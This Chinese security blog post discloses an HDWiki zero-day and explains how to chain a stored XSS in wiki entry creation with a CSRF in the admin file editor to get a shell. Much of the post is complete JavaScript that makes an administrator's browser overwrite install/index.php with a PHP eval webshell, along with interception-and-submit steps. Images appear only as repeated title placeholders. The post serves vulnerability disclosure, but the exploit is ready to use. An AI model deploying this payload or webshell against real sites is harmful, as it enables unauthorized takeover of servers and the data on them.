漏洞播报:HDWiki Xss+CSRF GetShell 0day利用方法 |

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

主要两处问题:

 
一、前台创建词条时插入内容只是editor的js对敏感code做了客户端过滤,传入服务器后服务器端过滤不够严格,构成Xss。
 
二、后台对文件编辑时没有限制相对路径的使用,文件可以直接使用相对路径编辑(在列表里可以看到默认是绝对路径的),并且在编辑文件位置没有进行验证,构成CSRF。
 
具体利用Getshell:
 
(普通用户)前台创建词条:
 
漏洞播报:HDWiki Xss+CSRF GetShell 0day利用方法 |
 
发布,截包修改:
 
漏洞播报:HDWiki Xss+CSRF GetShell 0day利用方法 |
 
这里插入的是一个写好的JS,编辑install/index.php内容为一句话木马。
 

内容如下:

function ajax(){
  
    var request = false;
  
    if(window.XMLHttpRequest) {
  
        request = new XMLHttpRequest();
  
    } else if(window.ActiveXObject) {
  
        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  
        for(var i=0; i<versions.length; i++) {
  
            try {
  
                request = new ActiveXObject(versions[i]);
  
            } catch(e) {}
  
        }
  
    }
  
    return request;
  
}
  
var _x = ajax();
  
postgo();
  
function postgo() {
  
    src="http://127.0.0.1/hdwiki/index.php?admin_filemanager-edit";
  
    data="fname=install%2Findex.php&dir=.%2F&content=%3C%3Fphp+eval%28%24_POST%5Bc%5D%29%3B%3F%3E&dosubmit=+%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9+";
  
    xhr_act("POST",src,data);
  
}
  
function xhr_act(_m,_s,_a){
  
    _x.open(_m,_s,false);
  
    if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  
    _x.send(_a);
  
    return _x.responseText;
  
}

提交发布。
 
(管理员账号)登陆后台:
 
查看用户创建的词条:
漏洞播报:HDWiki Xss+CSRF GetShell 0day利用方法 |
 
CSRF getshell:

漏洞播报:HDWiki Xss+CSRF GetShell 0day利用方法 |

Tags:

HDWiki漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
漏洞播报:HDWiki Xss+CSRF GetShell 0day利用方法 |